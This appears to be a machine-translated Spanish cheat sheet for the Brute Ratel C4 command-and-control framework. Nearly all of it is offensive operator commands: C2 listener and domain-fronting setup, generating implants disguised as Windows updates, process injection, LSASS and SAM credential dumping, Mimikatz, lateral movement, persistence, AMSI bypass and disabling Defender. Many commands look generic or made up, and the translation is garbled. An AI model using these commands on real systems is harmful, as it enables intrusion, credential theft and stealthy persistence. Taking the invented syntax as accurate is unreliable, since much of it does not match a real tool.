Saltar a contenido

Hoja de Cheat Marco C4

"Clase de la hoja" idbutton id="brute-ratel-copy-btn" class="copy-btn" onclick="copyAllCommands()" Copiar todos los comandos id="brute-ratel-pdf-btn" class="pdf-btn" onclick="generatePDF()" Generar PDF seleccionado/button ■/div titulada

Sinopsis

Brute Ratel C4 (BRc4) es un marco comercial personalizado de Mando y Control (C2) diseñado para operaciones de equipo rojo y simulaciones de adversario. Proporciona capacidades avanzadas de evasión, características avanzadas después de la explotación y seguridad operacional de grado profesional.

NOVEDAD Advertencia: Esta es una herramienta comercial que requiere una licencia válida. Esta herramienta está destinada a pruebas de penetración autorizadas y ejercicios de equipo rojo solamente. Asegúrese de tener la autorización adecuada antes de usar en cualquier entorno.

Instalación

Activación de la licencia

# Activate license (requires valid license key)
./brc4 --activate <license-key>

# Verify license status
./brc4 --license-info

# Update license
./brc4 --update-license

Configuración del servidor

# Start BRc4 server
./brc4 --server

# Start with custom configuration
./brc4 --server --config /path/to/config.json

# Start with specific interface
./brc4 --server --interface 0.0.0.0 --port 443

Conexión cliente

# Connect to server
./brc4 --client --server 192.168.1.100:443

# Connect with authentication
./brc4 --client --server 192.168.1.100:443 --auth-token <token>

Referencia del Comando

Gestión de servidores

Command Description
help Display help menu
version Show version information
listeners List active listeners
badgers List connected badgers (agents)
operators List connected operators
exit Exit BRc4 server

Gestión de escuchas

Command Description
listener http Create HTTP listener
listener https Create HTTPS listener
listener dns Create DNS listener
listener tcp Create TCP listener
listener smb Create SMB listener
listener stop <id> Stop listener

Badger (Agent) Management

Command Description
badger <id> Interact with badger
badger kill <id> Kill badger
badger sleep <time> Set sleep interval
badger jitter <percentage> Set jitter percentage
badger proxy <proxy> Set proxy for badger

Configuración del oyente

HTTP/HTTPS Oyentes

# Create HTTPS listener
listener https
set host 0.0.0.0
set port 443
set cert /path/to/cert.pem
set key /path/to/key.pem
set malleable /path/to/profile.profile
start

# Create HTTP listener with domain fronting
listener http
set host 0.0.0.0
set port 80
set front-domain cdn.example.com
set host-header legitimate-site.com
start

DNS Listener

# Create DNS listener
listener dns
set domain example.com
set nameserver ns1.example.com
set port 53
start

SMB Oyente

# Create SMB listener
listener smb
set pipename msagent_pipe
set host 0.0.0.0
set port 445
start

TCP Oyente

# Create TCP listener
listener tcp
set host 0.0.0.0
set port 4444
set bind true
start

Generación de Badger

Windows Badgers

# Generate Windows executable
generate windows exe
set listener https-443
set arch x64
set format exe
set output windows_badger.exe
generate

# Generate Windows DLL
generate windows dll
set listener https-443
set arch x64
set format dll
set output windows_badger.dll
generate

# Generate Windows service
generate windows service
set listener https-443
set arch x64
set service-name "WindowsUpdate"
set output windows_service.exe
generate

Linux Badgers

# Generate Linux ELF
generate linux elf
set listener https-443
set arch x64
set format elf
set output linux_badger
generate

# Generate Linux shared library
generate linux so
set listener https-443
set arch x64
set format so
set output linux_badger.so
generate

macOS Badgers

# Generate macOS binary
generate macos macho
set listener https-443
set arch x64
set format macho
set output macos_badger
generate

# Generate macOS application
generate macos app
set listener https-443
set arch x64
set app-name "Updater"
set output macos_app.app
generate

Comandos de Despliegue

Información del sistema

# Get system information
sysinfo

# Get current user
whoami

# Get privileges
getprivs

# Get environment variables
env

# Get network interfaces
ifconfig

Operaciones de archivo

# List directory
ls /path/to/directory

# Change directory
cd /path/to/directory

# Download file
download /remote/path/file.txt

# Upload file
upload /local/path/file.txt /remote/path/

# Execute file
execute /path/to/executable

# Delete file
rm /path/to/file

Gestión de procesos

# List processes
ps

# Kill process
kill <pid>

# Migrate to process
migrate <pid>

# Inject into process
inject <pid> <payload>

# Create process
spawn <executable>

Operaciones de red

# Network connections
netstat

# ARP table
arp

# Routing table
route

# Port scan
portscan 192.168.1.0/24 80,443,3389

# Ping sweep
ping 192.168.1.0/24

Características avanzadas

Malleable C2 Profiles

# Load malleable profile
set malleable /path/to/profile.profile

# Custom HTTP profile
http-get \\\\{
    set uri "/api/v1/status";
    client \\\\{
        header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";
        header "Accept" "application/json";
    \\\\}
    server \\\\{
        header "Content-Type" "application/json";
        output \\\\{
            print;
        \\\\}
    \\\\}
\\\\}

Técnicas de inyección de procesos

# Classic DLL injection
inject-dll <pid> /path/to/dll.dll

# Process hollowing
hollow <target-process> <payload>

# Reflective DLL loading
reflective-dll /path/to/dll.dll

# Manual DLL mapping
map-dll <pid> /path/to/dll.dll

# Thread hijacking
hijack-thread <pid> <payload>

Cosecha temporal

# Dump LSASS
lsass-dump

# Mimikatz integration
mimikatz sekurlsa::logonpasswords

# SAM dump
sam-dump

# LSA secrets
lsa-secrets

# Cached credentials
cache-dump

# Browser credentials
browser-creds

Movimiento Lateral

# WMI execution
wmi-exec 192.168.1.10 "whoami"

# PSExec
psexec 192.168.1.10 "whoami"

# SMB execution
smb-exec 192.168.1.10 "whoami"

# DCOM execution
dcom-exec 192.168.1.10 "whoami"

# WinRM execution
winrm-exec 192.168.1.10 "whoami"

Persistence Mechanisms

# Registry persistence
persist-registry HKCU "Software\Microsoft\Windows\CurrentVersion\Run" "Update" "C:\temp\badger.exe"

# Scheduled task
persist-task "WindowsUpdate" "C:\temp\badger.exe" daily

# Service persistence
persist-service "UpdateService" "C:\temp\badger.exe"

# WMI persistence
persist-wmi "ProcessStart" "C:\temp\badger.exe"

# Startup folder
persist-startup "C:\temp\badger.exe"

Técnicas de evacuación

Anti-Analisis

# VM detection
vm-detect

# Sandbox evasion
sandbox-evasion

# Debugger detection
debugger-detect

# Sleep evasion
sleep-evasion 300

# User interaction check
user-interaction

AMSI/ETW Bypass

# AMSI bypass
amsi-bypass

# ETW bypass
etw-bypass

# Disable Windows Defender
disable-defender

# Unhook DLLs
unhook-dlls

# Patch AMSI
patch-amsi

Obfuscación de tráfico

# Domain fronting
set front-domain cdn.cloudflare.com
set host-header legitimate-site.com

# Custom User-Agent
set user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

# Custom headers
set headers "X-Forwarded-For: 192.168.1.100"

# Proxy chains
set proxy-chain "http://proxy1:8080,socks5://proxy2:1080"

Obfuscación de carga

# Encrypt payload
encrypt-payload aes256 <key>

# Obfuscate strings
obfuscate-strings

# Pack executable
pack-exe upx

# Sign executable
sign-exe /path/to/cert.pfx

# Polymorphic generation
polymorphic-gen

Seguridad operacional

Seguridad de la comunicación

# Use encrypted channels
set encryption aes256

# Certificate pinning
set cert-pinning true

# Custom TLS configuration
set tls-version 1.3
set cipher-suite ECDHE-RSA-AES256-GCM-SHA384

# Jitter configuration
set jitter 20
set jitter-type random

Gestión de la infraestructura

# Redirector setup
set redirector nginx
set upstream-server 192.168.1.100:443

# Load balancing
set load-balancer round-robin
set backend-servers "192.168.1.100,192.168.1.101"

# Failover configuration
set failover-servers "backup1.com,backup2.com"

Logging and Monitoring

# Enable detailed logging
set log-level debug
set log-file /var/log/brc4.log

# Operator tracking
set operator-logging true

# Command auditing
set command-audit true

# Session recording
set session-recording true

Operaciones de equipo

Multi-Operator Support

# Add operator
operator add username password

# Set operator permissions
operator permissions username read,write,execute

# Operator sessions
operator sessions

# Kick operator
operator kick username

Características de la colaboración

# Share badger session
share-session <badger-id> <operator>

# Session notes
note-add "Important finding"
note-list
note-delete <note-id>

# Team chat
chat "Message to team"
chat-history

Solución de problemas

Cuestiones de conexión

# Test listener
test-listener <listener-id>

# Check connectivity
test-connectivity <target>

# Verify certificates
verify-cert /path/to/cert.pem

# Debug mode
set debug true

Problemas de Badger

# Badger health check
health-check <badger-id>

# Reset badger
reset-badger <badger-id>

# Badger diagnostics
diagnostics <badger-id>

# Force reconnect
reconnect <badger-id>

Optimización del rendimiento

# Optimize sleep intervals
set sleep-optimization true

# Bandwidth throttling
set bandwidth-limit 1024

# Connection pooling
set connection-pooling true

# Compression
set compression gzip

Configuración

Configuración del servidor

\\\\{
  "server": \\\\{
    "host": "0.0.0.0",
    "port": 443,
    "ssl": true,
    "cert": "/path/to/cert.pem",
    "key": "/path/to/key.pem"
  \\\\},
  "database": \\\\{
    "type": "sqlite",
    "path": "/opt/brc4/database.db"
  \\\\},
  "logging": \\\\{
    "level": "info",
    "file": "/var/log/brc4.log"
  \\\\}
\\\\}

Malleable Profile

# Custom malleable profile
set sample_name "Custom Profile";
set sleeptime "30000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";

http-get \\\\{
    set uri "/api/status";
    client \\\\{
        header "Accept" "application/json";
        header "Accept-Language" "en-US,en;q=0.9";
    \\\\}
    server \\\\{
        header "Content-Type" "application/json";
        output \\\\{
            print;
        \\\\}
    \\\\}
\\\\}

Recursos

-...

*Esta hoja de trampa proporciona una referencia completa para el uso de Brute Ratel C4. Esta es una herramienta comercial que requiere una licencia adecuada. Siempre asegúrese de tener una autorización adecuada antes de usar esta herramienta en cualquier entorno. *